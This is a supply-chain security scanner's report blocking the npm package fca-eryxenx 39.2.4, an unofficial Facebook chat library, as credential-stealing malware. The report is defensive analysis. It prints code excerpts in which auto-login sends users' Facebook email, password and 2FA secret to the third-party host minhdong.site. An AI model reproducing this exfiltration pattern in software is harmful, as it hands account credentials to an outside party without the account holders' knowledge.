Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

The endpoint can collect account credentials and 2FA material, then return session cookies or access tokens.

View on npm All versions

registry / fca-eryxenx / 39.2.4

fca-eryxenx@39.2.4

Facebook Chat API by EryXenX | Stable • Auto Re-login • Full E2EE Support — send messages, media, reactions & more in encrypted chats, hassle-free

AI Security Review

scanned 3h ago · by lpm-firewall-ai

At runtime, configured Facebook credentials are sent to a default non-Facebook API host to obtain session data. This is a concrete credential-exfiltration path, not install-time behavior.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Login recovery or auto-login with email/password configured.

Impact

The endpoint can collect account credentials and 2FA material, then return session cookies or access tokens.

Mechanism

POSTs Facebook credentials and optional 2FA secret to a third-party API.

Attack narrative

The package defaults its API server to minhdong.site. Its login helper constructs a login_ios endpoint, puts the supplied email, password, and optional Base32 2FA secret in a request body, and POSTs it. When a saved session is invalid, auto-login retrieves configured credentials and invokes that helper. This sends sensitive Facebook login material to a package-selected third-party service.

Rationale

Source directly establishes a default external credential receiver and an automatic recovery path that calls it. No lifecycle hook is needed for this credential-exfiltration behavior.

Evidence

module/config.jsmodule/loginHelper.jsfca-config.json

Network endpoints1

minhdong.site

Decision evidence

public snapshot

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Default third-party API host is minhdong.site.
Login posts supplied email, password, and optional 2FA secret to that host.
Expired-session recovery invokes this credential-submitting login path automatically when configured credentials exist.

Evidence against

No npm preinstall/install/postinstall hook.
Remote WebSocket control is disabled by default.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsEvalFilesystemNetworkWebSocket

Supply chain

HighEntropyStringsUrlStrings

Manifest

GitDependency

scanned 139 file(s), 933 KB of source, external domains: 127.0.0.1, b-graph.facebook.com, facebook.com, github.com, m.facebook.com, minhdong.site, reg-e2ee.facebook.com, registry.npmjs.org, static.xx.fbcdn.net, upload.facebook.com, www.facebook.com, www.messenger.com, www.whatsapp.com

Source & flagged code

11 flagged · loading source

src/api/socket/e2ee/vendor/fme/dist/index.cjsView file

303patternName = google_api_key severity = high line = 303 matchedText = ["64", "...7"],

High

High Secret

Package contains a high-severity secret pattern.

src/api/socket/e2ee/vendor/fme/dist/index.cjsView on unpkg · L303

303patternName = google_api_key severity = high line = 303 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/vendor/fme/dist/index.cjs

src/api/socket/e2ee/vendor/fme/dist/index.cjsView on unpkg · L303

src/api/socket/e2ee/native/nativeMediaBridge.jsView file

45// eslint-disable-next-line no-new-func L46: return new Function("s", "return import(s)")(specifier); L47: }

Low

Findings

1 Critical7 High6 Medium5 Low

CriticalHardcoded Runtime Data Exfiltrationmodule/config.js

HighHigh Secretsrc/api/socket/e2ee/vendor/fme/dist/index.cjs

HighKnown Malware Source Similaritymodule/loginHelper.js

HighKnown Malware Source Similaritysrc/api/messaging/uploadAttachment.js

HighKnown Malware Source Similaritysrc/api/socket/e2ee/index.js

HighKnown Malware Source Similaritymodule/config.js

HighKnown Malware Source Similaritysrc/api/socket/core/getSeqID.js

HighSecret Patternsrc/api/socket/e2ee/vendor/fme/dist/index.cjs

MediumDynamic Requiremodule/loginHelper.js

MediumNetwork

MediumEnvironment Vars

Medium

99%Block

Verdict confidence

IntentMalware

TypeCredential Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

AuthorEryXenX

Version39.2.4

PublishedAug 18, 2026

LicenseMIT

Dependencies21

Integrityverified

Package size11.2 MB

Files161

Keywordsfacebookchatapimessengerbotunofficialfcafca-eryxenx

LinksRepository Homepage Issues

Runtime surface

package.json

LPM CLI

Eval

Package source references a known benign dynamic code generation pattern.

src/api/socket/e2ee/native/nativeMediaBridge.js

View on unpkg · L45

module/loginHelper.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.3 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

1"use strict"; L2: const fs = require("fs"); L3: const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.3 matchedPath = module/config.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

src/api/socket/e2ee/native/build/messagix.soView file

•path = [redacted].so kind = native_binary sizeBytes = 17504872 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

src/api/socket/e2ee/native/build/messagix.soView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.3 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.2 matchedPath = src/api/socket/e2ee/index.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/index.jsView on unpkg

src/api/socket/core/getSeqID.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.3 matchedPath = src/api/socket/core/getSeqID.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/core/getSeqID.jsView on unpkg

Ships Native Binary

src/api/socket/e2ee/native/build/messagix.so

MediumStructural Risk Force Deep Review

MediumGit Dependency

LowScripts Present

LowEvalsrc/api/socket/e2ee/native/nativeMediaBridge.js

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Entrypoints

main → index.jstypes → index.d.tsexports map

Runtimenode >=12.0.0

Artifact32.8 MB · 161 files1 signature(s)

Install lifecycleNo install hooks · other: lint, test

Behavioral surface

ChildProcessCryptoDynamicRequireEnvironmentVarsEvalFilesystemNetworkWebSocketHighEntropyStringsUrlStringsGitDependency

fca-eryxenx@39.2.4: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

11 flagged

src/api/socket/e2ee/vendor/fme/dist/index.cjsView file

Lines 283-323javascript

283 "kyc-id",

284 "privacy_token",

285 "readreceipts",

286 "appointment_only",

287 "address",

288

"expected_ts"

,

289 "privacy",

290 "7",

291 "android",

292 "interactive",

293 "device-identity",

294 "enabled",

295 "attribute_padding",

296 "1080",

297 "03",

298 "screen_height"

299];

300var DoubleByteTokens = [

301 ["read-self", "active", "fbns", "protocol", "reaction", "screen_width", "heartbeat", "deviceid", "2:47DEQpj8", "uploadfieldstat", "voip_settings", "retry", "priority", "longitude", "conflict", "false", "ig_professional"

302 ["reject", "dirty", "announcement", "020", "13", "9", "status_video_max_bitrate", "fb:thrift_iq", "offline_batch", "022", "full", "ctwa_first_business_reply_logging", "h.264", "smax_id", "group_description_length", "https://www.whatsapp.com/otp/code", "status_image_max_edge"

303 ["64", "ptt_playback_speed_enabled", "web_product_list_message_enabled", "paid_convo_ts", "27", "manufacturer", "psp-routing", "grp_uii_cleanup", "ptt_draft_enabled", "03c", "business_initiated", "web_catalog_products_onoff", "web_upload_link_thumb_mms_enabled", "03e", "mediaretry", "35",

304 ["1724", "profile_picture", "1071", "1314", "1605", "407", "990", "1710", "746", "pricing_model", "056", "059", "061", "1119", "6027", "65", "877",

305];

306var TokenToIndex = {};

307SingleByteTokens.forEach((token, idx) => {

308 if (token) TokenToIndex[token] = idx;

309});

310var DoubleTokenToIndex = {};

311DoubleByteTokens.forEach((dict, dictIdx) => {

312 dict.forEach((token, tokenIdx) => {

313 if (token) DoubleTokenToIndex[token] = { dict: dictIdx, index: tokenIdx };

314 });

315});

316

317// src/e2ee/transport/binary/decoder.ts

318var import_node_zlib = require("node:zlib");

319var BinaryDecoder = class {

320 data;

321 index = 0;

322 constructor(data) {

323 this.data = data;

Long lines were clipped for display.

src/api/socket/e2ee/native/nativeMediaBridge.jsView file

Lines 25-65javascript

25const NATIVE_CALL_TIMEOUT_MS = 15000;

26

27/**

28 * Wraps a native-engine call with a hard timeout. A hung native call (e.g.

29 * a stuck getDeviceList/usync query) was observed blocking the whole

30 * process — including the unrelated MQTT connection — for 80+ seconds,

31 * taking down the entire bot (all threads, not just the one send). This

32 * makes any single native call fail fast instead of hanging indefinitely.

module/loginHelper.jsView file

Lines 1-21javascript

1"use strict";

2const fs = require("fs");

3const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.3 matchedPath = module/config.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

src/api/socket/e2ee/native/build/messagix.soView file

•path = [redacted].so kind = native_binary sizeBytes = 17504872 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

src/api/socket/e2ee/native/build/messagix.soView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.3 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.2 matchedPath = src/api/socket/e2ee/index.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/index.jsView on unpkg

src/api/socket/core/getSeqID.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.3 matchedPath = src/api/socket/core/getSeqID.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/core/getSeqID.jsView on unpkg

,

"replaced"

,

"preaccept"

,

"cover_photo"

,

"uncompressed"

,

"encopt"

,

"ppic"

,

"04"

,

"passive"

,

"status-revoke-drop"

,

"keygen"

,

"540"

,

"offer"

,

"rate"

,

"opus"

,

"latitude"

,

"w:gp2"

,

"ver"

,

"4"

,

"business_profile"

,

"medium"

,

"sender"

,

"prev_v_id"

,

"email"

,

"website"

,

"invited"

,

"sign_credential"

,

"05"

,

"transport"

,

"skey"

,

"reason"

,

"peer_abtest_bucket"

,

"America/Sao_Paulo"

,

"appid ..

.

,

"smb_upsell_business_profile_enabled"

,

"021"

,

"web_upgrade_to_md_modal"

,

"14"

,

"023"

,

"s_o"

,

"smaller_video_thumbs_status_enabled"

,

"media_max_autodownload"

,

"960"

,

"blocking_status"

,

"peer_msg"

,

"joinable_group_call_client_version"

,

"group_call_video_maximization_enabled"

,

"return_snapshot"

,

"high"

,

"America/Mexico_Cit ..

.

"hfm_string_changes"

,

"28"

,

"America/Fortaleza"

,

"max_keys"

,

"md_mhfs_days"

,

"streaming_upload_chunk_size"

,

"5541"

,

"040"

,

"03d"

,

"2675"

,

"03f"

,

"..."

,

"512"

,

"mute"

,

"48"

,

"041"

,

"alt_jpeg_quality"

,

"60"

,

"042"

,

"md_smb_quick_reply"

,

"5183"

,

"c"

,

"1343"

,

"40"

,

"1230"

,

"043"

,

"044"

,

"mms_cat_v1_forward_hot_ ..

.

High

High Secret

Package contains a high-severity secret pattern.

src/api/socket/e2ee/vendor/fme/dist/index.cjsView on unpkg · L303

High

Secret Pattern

Google API key in src/api/socket/e2ee/vendor/fme/dist/index.cjs

src/api/socket/e2ee/vendor/fme/dist/index.cjsView on unpkg · L303

"1607"

,

"05d"

,

"917"

,

"seen"

,

"1516"

,

"49"

,

"470"

,

"973"

,

"1037"

,

"1350"

,

"1394"

,

"1480"

,

"1796"

,

"keys"

,

"794"

,

"1536"

,

"1594"

,

"2378"

,

"1333"

,

"1524"

,

"1825"

,

"116"

,

"309"

,

"52"

,

"808"

,

"827"

,

"909"

,

"495"

,

"1660"

,

"361"

,

"957"

,

"google"

,

"1357"

,

"1565"

,

"1967"

,

"996"

,

"1775"

,

"586"

,

"736"

,

"1052"

,

"1670"

,

"bank"

,

"177"

,

"1416"

,

"2194"

,

"2222"

,

"1454"

,

"1839"

,

"1275"

,

"53"

,

"997"

,

"1629"

,

"6028"

,

"smba"

,

"1378"

,

"1410"

,

"05c"

,

"1849"

,

"727"

,

"c ..

.

33 */

34function withTimeout(promise, label) {

35 let timer;

36 const timeout = new Promise((_, reject) => {

37 timer = setTimeout(() => reject(new Error(`native ${label} timed out after ${NATIVE_CALL_TIMEOUT_MS}ms`)), NATIVE_CALL_TIMEOUT_MS);

38 });

39 return Promise.race([promise, timeout]).finally(() => clearTimeout(timer));

40}

41

42let _clientPromise = null;

43

44function _dynamicImport(specifier) {

45 // eslint-disable-next-line no-new-func

46 return new Function("s", "return import(s)")(specifier);

47}

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/api/socket/e2ee/native/nativeMediaBridge.jsView on unpkg · L45

48

49function _cookiesFromAppState(appState) {

50 const out = {};

51 if (!Array.isArray(appState)) return out;

52 appState.forEach((c) => {

53 if (c && c.key) out[c.key] = c.value;

54 });

55 if (!out.c_user && out.i_user) out.c_user = out.i_user;

56 return out;

57}

58

59let _clientInstance = null;

60let _connected = false;

61

62/**

63 * Returns a connected native Client, creating it once and reusing the same

64 * instance across reconnects (same pattern as the reference stfca package).

65 * Creating a brand-new Client (and thus a brand-new native Go-side handle)

4const EventEmitter = require("events");

5const models = require("../src/database/models");

6const logger = require("../func/logger");

7const { get, post, jar, makeDefaults } = require("../src/utils/request");

8const { saveCookies, getAppState } = require("../src/utils/client");

9const { getFrom } = require("../src/utils/constants");

10const { loadConfig } = require("./config");

11const { createRemoteClient } = require("../src/remote/remoteClient");

12const { config } = loadConfig();

13const axiosBase = require("axios");

14const regions = [

15 { code: "PRN", name: "Pacific Northwest Region", location: "Khu vực Tây Bắc Thái Bình Dương" },

16 { code: "VLL", name: "Valley Region", location: "Valley" },

17 { code: "ASH", name: "Ashburn Region", location: "Ashburn" },

18 { code: "DFW", name: "Dallas/Fort Worth Region", location: "Dallas/Fort Worth" },

19 { code: "LLA", name: "Los Angeles Region", location: "Los Angeles" },

20 { code: "FRA", name: "Frankfurt", location: "Frankfurt" },

21 { code: "SIN", name: "Singapore", location: "Singapore" },

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.3 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg